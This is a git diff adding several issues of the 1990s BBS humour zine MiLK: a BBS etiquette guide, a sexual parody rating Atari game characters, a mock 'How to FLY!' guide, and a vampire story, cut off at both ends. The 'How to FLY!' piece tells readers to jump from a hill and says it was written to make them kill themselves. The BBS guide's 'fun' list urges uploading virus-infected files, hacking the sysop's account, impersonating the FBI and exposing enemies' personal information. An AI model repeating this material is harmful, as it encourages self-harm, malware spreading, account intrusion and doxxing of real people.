Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û ?!?!?!?!?!.................(708)CUM-SOON [28,800] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #038, "Conrad" By Conrad +ÛÛÛÛÛÛÛÛÛÛÛÛÛ Safe-T-Nutz 6.2: This file is Exactly 518,775 bytes long + + +conrad's secret pete 1 of 10: "paddle" +(when you put these all together _backwards_, it says something cool!) + diff --git a/textfiles.com/magazines/MILK/milk-039.txt b/textfiles.com/magazines/MILK/milk-039.txt new file mode 100644 index 00000000..3d92190c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-039.txt @@ -0,0 +1,185 @@ + Ü Ü Ü Mighty Issue #39 + Ü Ü Û Û Ü illicit "Malakai's Guide to Finer BBSing" + Û ß Û Û Û ÛÛ Liquid -By Malakai + ß ß ß ß ß ß Kollections +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄ ÄÄ ÄÄ Ä Ä Ä Ä Ä Ä + + Hello! Welcome to Malakai's Guide to Finer BBSing. In this short TFile +I will explain the various types of BBSes, the types of people you'll find, +and other various BBS informational goodies! But be sure you take the Moron +Test to see if you qualify as a Moron, an Average, or a Good user; This will +furthur personalize this manual to fit YOUR needs! + +ÛÛÛÛ²²²²±±±±°°°° MORON TEST °°°°±±±±²²²²ÛÛÛÛ + +Question 1: In what frequency per call do you use the words HEY or WAZZUP to one given person? +A) NONE (0 points) +B) ONCE (1 point) +C) TWICE (2 points) +D) THREE (3 points) + +Question 2: In what frequency do you download files over 200k large that are +not TFiles? +A) NEVER (0 points) +B) RARELY (1 point) +C) SOMETIMES (2 points) +D) OFTEN (3 points) + +Question 3: In what frequency do you type in all CAPS when not nessecary? +A) NEVER (0 points) +B) RARELY (1 point) +C) SOMETIMES (2 points) +D) OFTEN (3 points) + +Question 4: In what frequency do you type private messages in a public message +base? +A) NEVER (0 points) +B) RARELY (1 point) +C) SOMETIMES (2 points) +D) OFTEN (3 points) + +Question 5: In what frequency do you type private messages that are one line +and say things that mean nothing to either of you? +A) NEVER (0 points) +B) RARELY (1 point) +C) SOMETIMES (2 points) +D) OFTEN (3 points) + +Question 6: How often do you upload/download ElItE WaReZ? +A) NEVER (0 points) +B) RARELY (1 point) +C) SOMETIMES (2 points) +D) OFTEN (3 points) + +Give yourself 1 point if you DL X-Rated GIFs, another 1 if you look at them, and +another 2 if you talk about them online in messages or private mail (Private is +just 1 point) + +Give yourself 2 points if you just go online to read messages and then logoff, +but never reply. + +TOTAL UP THE POINTS NOW! :) + +0-6 points; You are a good user! Hopefully you will call anywhere you can. +7-12 points; You are ok t'have around. Try n' get rid of the bad habits ;) +12-15 points; You should try and gain some social skills before calling. +16+ points; Here's a quarter, get a life pal. Just don't call my system! + +------------------------------------------------------------------------------- + +The Types of BBSes + +------------------------------------------------------------------------------- + +ElItE WaReZ bOaRdZ: These boards are bad for the starting caller; You will not +gain access here. Online here, all that goes on is file uploading and download- +ing, VERY seldom are there good posters on these types of boards. Unfortunately +for people like me, these boards are becoming more popular. If you scored a 6 +and below I would not recommend calling, as you would probably not like it; The +people here do not post or talk, they don't like people who come in and try and +disrupt this way of life they have. + +Message Boards: These boards are good for starting callers to call, as they are +always open to new callers. Online here, there are active message +posting and the conversations should have a demi-intelligent or intelligent +meaning. I would not recommend for 12-15 point scorers to call, but they can. +And 16+ point scorers wouldn't like it here and probably wouldn't last long if +they kept up the bad habits. + +Chat Boards: These boards are GREAT for starting callers, they get them hooked. +Many varied types of people call these boards and chat with people; Some have +active message bases, some have active file bases. Some have +both. This is ok because they usually have 4 or morelines. I still would not +recommend for 16+ callers to call here; As well as people 12 and under. + +Old Computer Boards (Apple, Atari): Do not waste your time, these boards suck. +Anyone can get access, but they have nothing to offer unless you want a game +like "Sticko the Super-Duper-Wuper-TWIG" for your Apple 2e and if you still use +your Apple 2e you probably aren't even reading this Guide! + +Commodore 64/128 Boards & Amiga Boards: These boards are unpredicatable. Some +have many lines, others have 1. Some are active, some are not. These are some- +times the best AND worst BBS's to call. + +If there is a BBS type you would like added to this Guide, please notify me +on any BBS I am on; Or you can send Internet E-Mail to me at this adress: +Malakai@Thunderbolt.com + +------------------------------------------------------------------------------- + God Lord! There are People ACTUALLY CALLING! + +------------------------------------------------------------------------------- + + There are many types of people online you may meet and learn to like, +I'll just give you a list of some of the generalities. :) + +The Warezman: Doesn't say much, but what he says is usually about warez or is +advertising a WaReZ board. Files: A+, Messages: F, Overall: D + +The Messageman: Has a lot on his mind and posts a lot in the messages, doesn't +give a flying fuck about files. Files: F, Messages: A+, Overall: C + +The SuperUser: This guy uploads when he can and can always come up with a +response to messages. Files: B Messages: A+, Overall: A- + +Joe Average User: Uploads when he wants something, posts when he thinks he +needs to. Files: C, Messages: C, Overall: D + +Posting WaReZman: Likes to rip on people usually, try not to talk to them +because they are usually assholes. Files: B-, Messages: C-, Overall: D + +MiLK Writer: Writes these stupid TFiles. :) +Files: A+ +Messages: A+ +Overall: F

:) + +------------------------------------------------------------------------------- + BBS FUN! + +------------------------------------------------------------------------------- + +1) Logon and tell everyone that the Feds are watching the BBS Closely! Start +a rumor that the sysop blabbed on everyone there. Watch the LaMerZ SQUIRM! + +2) Logon under a fake account and pretend you are from the FBI ; Say you are investigating a report of Piracy on the BBS + +3) Upload a virus contaminated file under a fake account and see if the Sysop +REALLY scans them. + +4) Upload a file PRN or LPT1 and see what fun things happen! + +5) Upload MiLKView there! + +6) Try and hack the Sysop's account about 30 times, then logon as a NEW user +with the handle, "IMA HACKER" + +7) Pretend you are writing an MCI message but + instead reveal all your enemies information! + It's GREAT for pissing of Sysops and Users +alike! + +If you can think of any other fun things to do on Local, Boring BBS's, write +me in the CyberSpace... + +UNTIL THEN, This is MALAKAI! Signing off... + +Ducks! Ducks! Everywhere! You cannot see them! They're not there! + + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #039, "The Guide to Finer BBSing" by Malakai +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 7826 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-040.txt b/textfiles.com/magazines/MILK/milk-040.txt new file mode 100644 index 00000000..bcfd1e03 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-040.txt @@ -0,0 +1,236 @@ + Ü Ü Ü Mighty Issue #40 + Ü Ü Û Û Ü illicit "The [MiLK] Guide to Atari" + Û ß Û Û Û ÛÛ Liquid -By Atari John + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Hey guys, this is Atari John here, and boy do I have the issue for +you! in this issue i will go through and rate all your favorite atari games +by sexual potency! i hope you like it! + +Galaga - The pilot from Galaga has the longest penis of any Atari game + available! And boy, does he know how to use it, too! There was + this one night I was dreaming about being out in space shooting + those nasty insect looking things and the pilot grabs me from + behind in the ship and brings me into the back and we have long, + hot, passionate sex until I woke up! The best dream i ever had! + +ÄÄÄÄÄ Atari John's Rating> 10 + +Rampage - I've always had this secret fantasy to fuck the monkey from + rampage up the ass! I always wanted to take my little stubby + penis and ram him good and hard! Sometimes i daydream that one + day while I was playing i would be one of the little people running + around and he'd pick me up and give me a blowjob! + +ÄÄÄÄÄ Atari John's Rating> 9 + +Pitfall - of COURSE the guy from pitfall is good in bed! I mean, anyone that + can swing from vine to vine must have something going right! The + only problem with Pitfall is he'll only have sex with you if you + give him a money bag or a pile of gold + +ÄÄÄÄÄ Atari John's Rating> 7 + +Pac-Man - Pac-Man gives really good blowjobs! but otherwise he isn't that + great. considering he doesn't have legs or a penis. + +ÄÄÄÄÄ Atari John's Rating> 6 + +Indiana Jones - Indiana Jones just isn't that great. he's too easy. All you + have to do is find the stupid ankh and shovel and you've + already got him undressing. there's no foreplay with him :( + +ÄÄÄÄÄ Atari John's Rating> 4 + +Space Invaders - no fun. the aliens don't have sex organs like we do. + +ÄÄÄÄÄ Atari John's Rating> 1 + +Ms. Pac-Man - Just like pac man, only difference is her lipstick gets all + over your penis. if you like that stuff, i guess its a plus, + but i like my penis nice and cleean + +ÄÄÄÄÄ Atari John's Rating> 5 + +Asteroids - the asteroids have no genetalia to play with. and all they do + is bruise you all over. + +ÄÄÄÄÄ Atari John's Rating> 2 + +Burger Time - now this is a chef that knows how to cook his meat! This is + also one of the most kinky atari characters, because he uses + pepper in every sexual situation possible + +ÄÄÄÄÄ Atari John's Rating> 7 + +Kaboom - if you don't remember this was the game you used the paddles + and had to catch all the bombs. it's pretty kinky too, but the + only problem it's kinda dangerous to screw under these circumstances + +ÄÄÄÄÄ Atari John's Rating> 4 + +Atlantis - i only remember the name of this game so there were no horny men + or women in it + +ÄÄÄÄÄ Atari John's Rating> 2 + +Riddle of the Sphinx - in this game guys in loin cloths run after you with + rocks and big hard ons! definately a game for the + masocists! + +ÄÄÄÄÄ Atari John's Rating> 6 + +Missle Command - there's no one to fuck in this game + +ÄÄÄÄÄ Atari John's Rating> 0 + +Combat - there's no one to fuck in this game either unless you count the + pilots of the tanks and planes and boats and they don't count cuz + they're too busy to play poochie + +ÄÄÄÄÄ Atari John's Rating> 1 + +Fishing - fish have always turned me on, and the guy in this game is just + so cute! but watch out for that shark, he'll bite your kaka off! + +ÄÄÄÄÄ Atari John's Rating> 6 + +Boxing - what can i say, two guys beating on each other, what else makes for + better foreplay? the only problem is the graphics weren't good enuff + to arouse me in this game + +ÄÄÄÄÄ Atari John's Rating> 3 + +Adventure - this was the game where you were the knight and you had to find + the flashing chalice! but to get it you had to kill dragons and + stay away from the bat. well the dragons were horny and they + all had HIV so you had to run away from them! it was a great + game but i would have liked it better if at the end you got to + fuck a princess or something + +ÄÄÄÄÄ Atari John's Rating> 5 + +Centipede - bugs aren't that arousing + +ÄÄÄÄÄ Atari John's Rating> 2 + +Dig Dug - this is a game where you go around BLOWING (up) the bad guys! what + more can you ask for? i used to like to blow them until they were + to explode, then let them gradually calm down, then blow them again! + i hope someone does that to me when i grow up! + +ÄÄÄÄÄ Atari John's Rating> 9 + +Moon Patrol - its too bad you cant breathe outside your car otherwise i would + have gotten it on with some moon chicks! + +ÄÄÄÄÄ Atari John's Rating> 4 + +Q-Bert - this guy's nose was just MADE for sticking your polish sausage into! + and that snake guy can also make for some great butt slinging action! + the little balls are much fun, but have YOU ever had sex on a little + flying pad that is used to get to the top of the pyramid? it's a + truely orgasmic experience! + +ÄÄÄÄÄ Atari John's Rating> 8 + +Jawbreaker - everything in this game is too tough. they all hurt too much + to suck off. i dont like it + +ÄÄÄÄÄ Atari John's Rating> 4 + +Mouse Trap - it's too bad it wasn't Gerbil Trap, then it would have been + a great game! but i guess mouses are cool too but i never + tried one they never want to go up there maybe if i stuck a + hunk of cheese up there + +ÄÄÄÄÄ Atari John's Rating> 5 + +Breakout! - the only good think about this game is the paddle makes for great + spankings ohh hohhh whap ohh + +ÄÄÄÄÄ Atari John's Rating> 3 + +Night Racer - i dont think the title came from that you drive fast, i always + pictured a brunette driving that car that could blow and drive + at the same time or maybe id drive and she'd be in my lap + i dunno i guess im not creative enough + +ÄÄÄÄÄ Atari John's Rating> 6 + +Tape Worm - or whatever this game was called, the one where you make the + lines but if you touch your or the other line you die... there + weren't any things with sex organs in this game so it sucked too + but not literally + +ÄÄÄÄÄ Atari John's Rating> 2 + +Jungle Hunt - this guy was too active i think he was on steroids because no + mortal man could do all that he did.. swing on vines swim and + jump over boulders all without getting tired! well i know for + a fact he was on sterroids because his penis was all striveled + up! + +ÄÄÄÄÄ Atari John's Rating> 3 + +Hero - this guy wasn't really a hero in fact he was rather dissappointing + +ÄÄÄÄÄ Atari John's Rating> 4 + +Donkey Kong - this is the first time we got to meat mario, the little stocky + italian guy. and you know what they say about italians... and + you know what they say about stocky guys.. they always have + big and thick ones! i learned this from an experienced woman + who doesnt like that kind but I sure do! thick for me all the + way! anyway, this also has donkey kong in it! and all monkeys + are good in bed its a fact. Ive always dreamed of sucking + mario off while donkey kong banged me from behind + +ÄÄÄÄÄ Atari John's Rating> 10 + +Popeye - spinich certainly hasn't helped popeye's penis size. but olive oil + sure can twist herself into some great positions! + +ÄÄÄÄÄ Atari John's Rating> 6 + +Defender - too many aliens without big penises + +ÄÄÄÄÄ Atari John's Rating> 4 + +Frogger - i never liked toad cock and because of this id play the game just + to get frogger smashed by a truck + +ÄÄÄÄÄ Atari John's Rating> 2 + +Pole Position - i think the name says it all! these guys really knew how + to drive their sticks! they liked to accelerate their way + to a screaming climax as the checkered flag was insereted up + their rectums oh oh babie + +ÄÄÄÄÄ Atari John's Rating> 9 + +Zaxxon - i liked to rub my penis up against all the walls right before i hit + them it was a fun game but i never was able to cum on one of them + there just isn't enough time + +ÄÄÄÄÄ Atari John's Rating> 5 + + + well, that's about it for me this time! check in again when i write +Atari John's guide to nintendo games! and also look out for atari john's +guide to mortal kombat - every position possible! see ya! + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #040, "The [MiLK] Guide to Atari" by Atari John +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 9625 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-041.txt b/textfiles.com/magazines/MILK/milk-041.txt new file mode 100644 index 00000000..f2206866 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-041.txt @@ -0,0 +1,76 @@ + Ü Ü Ü Mighty Issue #41 + Ü Ü Û Û Ü illicit "How to FLY!" + Û ß Û Û Û ÛÛ Liquid -By King Krazy + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + The title may propose that this little ditty that I wrote is +rather boring and subliminal, but it is not. We tap deep into the brain +that we call the imagination. While reading this remeber to use +you imagination in a more vivid way. I hope that you don't become insulted +by my views and ideas. For they are a vulgar display of text. + + Well flying is one thing that has boggled us for many centurys +and will boggle us for many more. This will tell your uniformed minds +of how to fly and like it and become addicted to it. Flying is additive +it makes you want to smoke weed. Many people can't fly because they are +way to high to fly +thier mind is on other things. That is the first rule you must not smoke +weed or suck, drink, or inhale anything before flying or you will crash +and burn into a pile of ash. + + 1. Don't get high before going to fly. + + Next, you must pick a place to fly from. This must be a place be +high in the air and must be a sloped surface twoard the earth. If it is not +you will not succeed. Pick a steep hill or volcano they work best. + + 2. Pick a good place. + + Also, In order to fly you must have wings. If you didn't know this +don't even think about flying because you are to massivly stupid. Well if +you knew then you are in luck keep reading on. To get wings either: + +A. Steal some high tech wings from the govenment. +B. Make your own high tech wings . +C. Don't make them and die. + +I suggest stealing them from the govenment because they usually work the +best. But if you can't make you own heres how. First, get some really +heavy metal and strap it to you arms if you have enough +glue it all to your body and see if you can walk. If you can keep reading. +Next, find a big huge beak. Rip it of a huge chicken but if you can't find +a huge chicken then make your own from paper products . Tape that beak to your ass. You HEARD me tape it to your ass. You +will understand later. Lastly, See if you can move if you can that is great +it helps to be able to move when you fly. + + 3. Make a suit. + + Well here is the good part with all that shit on, go to your nearest +volcano or steep hill and run up to the top and stop and look down and think +"do I really wanna do this". If you do then do it! Start to run backward down +the hill. That is why you put the beak on your ass. Get to the speed of 88 +miles per hour then check your flux capacitor. Wait. Forget that. JUMP! + + Stop Reading!!!!! + + After you did this you will probally not going to be able to read +this because you are fucking dead. You stupid shithead. I hate you with a +passion. There the reason I wrote this is beacuse I want people to kill +themselves. So, if you did I am proud that I accomplished something in +my pathetic life. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #041, "How to FLY!" by King Krazy +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 3760 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-042.txt b/textfiles.com/magazines/MILK/milk-042.txt new file mode 100644 index 00000000..e5ab9300 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-042.txt @@ -0,0 +1,279 @@ + Ü Ü Ü Mighty Issue #42 + Ü Ü Û Û Ü illicit "he Regurgitation" + Û ß Û Û Û ÛÛ Liquid -By whoops + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + Sunlight streamed in through the open curtains, fighting its +way to the man's eyelids, which promptly snapped open. The man +sat up and wiped the crusty sleep out of his eyes as he swung his +legs over the side of his bed and balanced himself on his slight +legs. His muscles creaked as he sauntered into the bathroom +adjacent to his bedroom. He flipped on the flourescent light and +promptly dropped his Marvin-The-Alien pajama pants and peed in +the toilet. He finished and pulled them back up again and turned +to the sink. He splattered toothpaste onto a toothbrush and +swiped it around inside his mouth before rinsing his mouth with a +cup of tepid tap water. Spitting the concoction out, he belched +contentedly and splashed water on his face. + The man raised his head to look in the mirror and groaned at +the sorry sight he saw there. The bags under his eyes were even +bigger than they'd been the night before. They clung underneath +his eyes like bruise-colored spider sacs, making his already +sagging face look even droopier. His dull grey eyes looked as if +they needed a good polishing. His big roman nose was the most +prominent feature on his face, cutting it into four even +sections. His lips were permanently curled up into a dull sneer, +contrasting with the blandness of the rest of his face. He looked +eons older than the 22 the calendar told him he was. + He shrugged at his sad condition and turned into his bedroom +again. He went to his dresser and pulled out a nondescript pair +of pants and one of his many shirts that didn't seem to match +anything else in his wardrobe. He put them on, noticing unhappily +that the shirt fit even tighter than it had the last time he wore +it. He shrugged again and headed downstairs to the kitchen, where +he found his equally drab wife of one year burning some bacon for +him. She looked five years older than her 21, especially in the +bland housecoat that she now wore. Her hair was pulled up tight +on her head, stretching her once-beautiful face into a gruesome +mask of boredom. He grunted as she slapped the bacon on his plate +and shoveled it into his mouth. + "I'm playing golf today," he grunted to her, receiving a +somewhat surprised but affirmative grunt in reply. He wiped his +mouth and belched and headed out the garage door to his beater, +grabbing his cobwebbed and dusty golf clubs down from the shelf +where they had been waiting for him to attempt to hit little +white round balls around some grass with them. He got in the car +and turned the key in the ignition, and after only a few +complaining whines from the old clunker, the car started up (if +somewhat grudgingly). He put it into reverse and stepped on the +gas and backed out of the small garage. He turned along the +street and headed down to the local golf club, a sad little +building along the side of Biff road. The fairways were badly in +need of repair, with sporadic tufts of crab grass poking their +way up on every hole. The greens were even worse, with +obstructive grass and uneven ground. He sighed and pulled into +the Biff Golf Club's narrow driveway, found a parking space and +turned the car off. He got his clubs and trudged inside, where he +gave his name to the receptionist who told him that he was late +for his assigned tee-off time and would he mind waiting a half +hour? He grunted a frustrated no in reply and went to the bar. + The regular bartender, Louie, was serving today. The man +pulled himself up onto one of the high stools and greeted Louie. + "Well if my eyes don't deceive me! Scooter Nibble, you +haven't been here for over a year!" Louie said. "How's the new +wife been?" + "Okay, I guess, Louie.." shrugged Scooter. "Give me +something stiff, will ya?" he asked. + "Sure, Scoot," Louie cheerily agreed as he served up some +alcohol. "So how have you been, you old turkey you? Haven't seen +you since..well, it must have been since the vampire scare of +early last year!" + "Yeah..." Scooter replied uncertainly. "You know, Scoot, I +just read something in the paper a few weeks ago about that +stuff," Louie continued. + Scooter's eyes showed a flash of life, and his hands +tightened around his glass. "Oh, really.." he said in his most +nonchalant voice. "What exactly did you read?" + "Well, now..I think it was about trouble over that chick's +grave, you know, that Kase vamp?" + Scott's bloodshot eyes quivered and his grip on the glass +tightened even more. "What sort of..trouble..is this, Louie?" he +forced himself to ask calmly. + "Well, I can't remember quite clearly.. it was just last +Wednesday, though, four days ago.. Hmm. I wish I'd paid more +attention, can't help you any more than that, Scoot." + "Oh, that's fine, Louie..pretty interesting. Maybe I'll pick +up that paper sometime and read it..maybe sometime..Well, I +better be going now, tee-off soon.." + "All right, seeya later Mr. Nibble! Have a nice game now, +you hear?" + Scoot thanked Louie and quickly ducked back out to the +receptionist's desk, where he cancelled his tee-off time and told +her he had to attend to an emergency. He hustled out the door and +into his car, stopping only momentarily to throw his grimy clubs +into the back seat. The car complained before a short time before +revving into life, and Scoot sped over to the nearby library. He +walked into the building as slowly as his pounding heart would +allow and hurried over to the local newspaper section. He found +the right newspaper and hurriedly flipped through it, looking for +the article. He found it, on the back side of the main section. + + + WHAT SEEMS TO BE THE KASE, WONDER LOCAL POLICE. + + Picnickers in the Obloid Cemetary were astonished to find +the tombstone of the grave of the infamous Kase VampiLamprey to +be knocked over, and the grave empty yesterday afternoon. +"Shucks, it was scary," Joel Amar, father of the family, said. +"We all heard about that girl and what she done. She done some +weird stuff, man. And to find the grave sitting right open like +that..well, shucks!" Brian Flagg, another picnicker, concurred. +"Never seen nothing like that before. I wonder what happened." + + + + Scoot's eyes scanned down the rest of the article until he +came across this: + + + Any persons having any information as to the whereabouts of +Kase's body are to contact Neil Shazam at 1414 Azathoth Lane, Ph# +456-4564. + + + Scoot's pulse quickened even more as his memory shot back to +the days of the VampiLamprey scare... He remembered it as if it +was only yesterday... All those people, dead, gone.. especially +his best friend and idol John. How he missed John... and Neil, +heroically killing that famous blood-sucking Lamprey with his +eggplants..what a sacrifice. He hadn't talked to Neil since then, +and had married his drab wife soon after, perhaps to escape from +the terror of the days. The famous Kase had put fear into the +hearts of the people, and Scoot had done nothing about it. He had +trembled too much to even appear in the story about Kase, and +suffered constant shame as a result. + Scooter stood up from his chair, rubbed his shaking hands on +his pants, and, waiting till nobody was looking, tore the article +out of the paper and placed the paper back on its rack and left +the library. He stepped out into the weak sunlight and shaded his +eyes. He went to the payphone at the side of the library door and +plunked in the 31 cents necessary and dialed the #: 456-4564. He +heard Neil's voice and shakily explained the situation. + "Neil, it's Scoot," he stammered. "There's a problem. Kase +is on the loose, I think." + "Scoot? Geez, been a while. Calm down boy, what's going on?" + "I found an article, in the paper," Scoot said. "Her grave +is open! She's alive, still! Damnit Neil you have to help us!" + "Uh.. she's DEAD, Scoot..I killed her. Well, I guess I'll +look into it. Whatever. But I really gotta go, Scoot.. Cya." he +hung up before Scoot could say more. Scoot sadly hung up the +phone, fear in the pit of his very being. + +_________________________________________________________________ + At home, Neil hung up the phone thoughtfully. Scoot had +always been paranoid, but this... Well, maybe he'd look into it. +He grabbed his token cup of coffee and an eggplant to munch on +and jumped into his car, revved the engine and bolted out of the +driveway. He drove around aimlessly for a while, thinking about +what Scoot had said over the phone. Then all of a sudden his +engine died in the middle of the road. He turned the ignition +quizzically only to receive a splutter and a groan from the old +car. + Neil took a frustrated bite out of the eggplant, swore and +stepped out of the car and went to lift the hood, only to be +thrown to the ground forcefully by 185 pounds of vampilamprey. He +quickly jammed the eggplant into the vampilamprey's nearest +orifice, praying that they all were members of the priestess' +eggplant cult. He was lucky this time. The vampilamprey quickly +rolled off him and cradled the eggplant in its mouth. It +skittered off in the direction of the Obloid Cemetery without a +backward glance at Neil. Neil lifted the hood of the car and saw +that the transmission was scrooed, there was no way he could fix +it and still see what was going on. He swore again and grabbed +another eggplant out of the handy supply he kept in the car, +munched on it (protein!) and trotted off in the direction of the +Cemetery. + +_________________________________________________________________ + + Scooter got into his car and started it up, without +realizing until he was halfway there that he was on his way to +the Cemetery. He pulled up into the driveway of Obloid Cemetery, +noting with a grim smile the decrepit condition of the place. He +parked along a side of the path and walked out to where he knew +Kase's grave was. The tombstone was still flat on the ground, and +he shuffled closer to it to get a better look. "Roast In Peace" +said the top of the inscription. "Here Lies Kase, The +VampiLamprey. May She Rot In Hell For Eternity." With a sad sigh, +Scoot realized that that was far from what she was doing. She, or +someone with her corpse, was on the run, and a danger to all. + A hand gripped his shoulder. Scoot turned around slowly, +terror pounding in his heart and in his pants. He came face to +face with Her.. the bitch. Her looks were far from what they had +been, and she was covered with dirt. Understandable, since she +had been thrown in the ground without a casket. Her teeth were +yellow and moldy and looking even sharper than they should have +been. Scoot breathed heavily and wiped his hands on his pants, +trying to speak but not having the guts. + Kase hissed at him and glared evilly, and then disappeared +as quickly as she had come. She had grown more powerful in her +time six feet under. Scoot fell down on the ground and panted +wildly, curled up in the fetal position. He stuck his thumb in +his mouth and slowly drifted into a sleep filled with terrifying +nightmares. He dreamt he was being suffocated slowly, every last +breath being torn from his grasp, a lamprey slowly sucking the +blood of life from him. + Scoot awoke with a start, to see only feet, thousands of +feet. He quaked and tried to move his arms, to stand up, to run +away, to get the fuck out of here, but found that he was buried +up to his neck, in Kase's grave. He started to cry, the tears +running down his face like waterfalls, pooling on the dirt +underneath his chin. He looked up to see thousands of evil +grinning, gleaming faces staring at him hungrily. + Kase had recruits, Scoot swore to himself. The sweat poured +off his body so thickly that it turned the surrounding dirt into +mud, which he started clinging to his body, dragging him down +further into the ground. The other vampilampreys slowly inched in +toward him, hunger in their eyes. At the same moment, they all +stopped and threw themselves on the ground, as Kase came walking +up towards Scoot with a nasty glare in her eye. Scoot prayed like +he had never prayed before for the intervention of God, or maybe +a really cool lamprey hunter like Neil. He whimpered as Kase +neared him, cringing as he saw the malicious look in her eye. + Suddenly a commotion stirred several of the groveling +vampilampreys to their feet. Neil had shown up! A spark of hope +struck Scoot's head. Neil broke his way into the circle of +Lampreys, knocking Kase to her feet, making her swear viciously +at the intrusion. He kicked her and started beating her with his +precious eggplant, juice splattering everywhere. He paused for a +moment and turned to grab Scoot's neck and yank him up from the +depths of the earth, far enough for Scoot to grab onto the +tombstone and heave his body out the rest of the way. Neil hacked +away at Kase some more with the eggplant, until she screamed and +clawed at the eggplant, trying to get it away from his cruel +hands. She grabbed it from him and gathered it in close to her, +cradling it in her arms. The other vampilampreys, after seeing +their master degraded so, woke up and realized that they, too, +had sorry lives and would be better off writing [MiLK] files or +something and they left. Neil hurriedly told Scoot "Watch her. +Make sure she doesn't go anywhere," over his shoulder as he ran +towards the entrance to the Cemetery. + Scoot nervously walked around Kase for a few minutes which +stretched into a few more and then a few more, and he found +himself still pacing over the quivering ball of hatred. She still +held the bruised eggplant in her arms and seemed to be comforting +it. As Scoot watched in fascination, the eggplant's bruises began +to even out and lose their discoloration, and the eggplant slowly +turned back to the normal deep violet that it had once been. +Scooter quickly kicked the eggplant again, and Kase's teeth +snapped as she growled and huddled around the eggplant, nurturing +it once more. + Scoot heard someone breathing heavily behind him and turned +around to see Neil, with a large bag of eggplants on his back. + "Neil, the eggplants! I think that's what she wants!" he +gasped. Neil nodded and said nothing and quickly opened up the +grave once more. He threw in a few of the eggplants and then +picked up Kase and threw her into the hole as well. He topped it +off with a few eggplants and covered them with the rest of the +dirt, packing it down tightly. He laid down a few more eggplants +on top of the grave. "For good measure," he said, leaving two +left. He picked up one and started to munch on it and handed the +other to Scoot and then headed out of the Obloid Cemetery, for +the last time, he hoped. Scoot shook his head in amazement and +followed him out, giving nary a glance to the grave of the most +exciting thing in his life. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û The Obloid Sphere..........(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Asylum.................(908)914-9318 [14,400] +Û²²²²²²²²²²²Û (NUP) I LOVE FEDS +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û [MiLK] Issue #042 by whoops +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 15814 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-043.txt b/textfiles.com/magazines/MILK/milk-043.txt new file mode 100644 index 00000000..4c418aac --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-043.txt @@ -0,0 +1,216 @@ + Ü Ü Ü Mighty Issue #43 + Ü Ü Û Û Ü illicit "No title cuz we're confused" + Û ß Û Û Û ÛÛ Liquid -By Randall Flagg + ß ß ß ß ß ß Kollections +Ä Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + There once was a man. I say once, because he is no more. But I'll get to +that later. ANYWAYS, there was once a man. his name was unimportant. But, +since you readers always like to knows peoples' names so much, we'll call him +Egbert. Now, Egbert was not nondescript in any way. As a matter of fact, +Egbert stood out in a crowd. Most people would say that he was the most +gorgeous guy in the world, and was obviously the most popular. Everyone in +the Senior class loved him, and he was only a Freshman. But Egbert had a +problem. Egbert was impotent. He discovered that, much to his 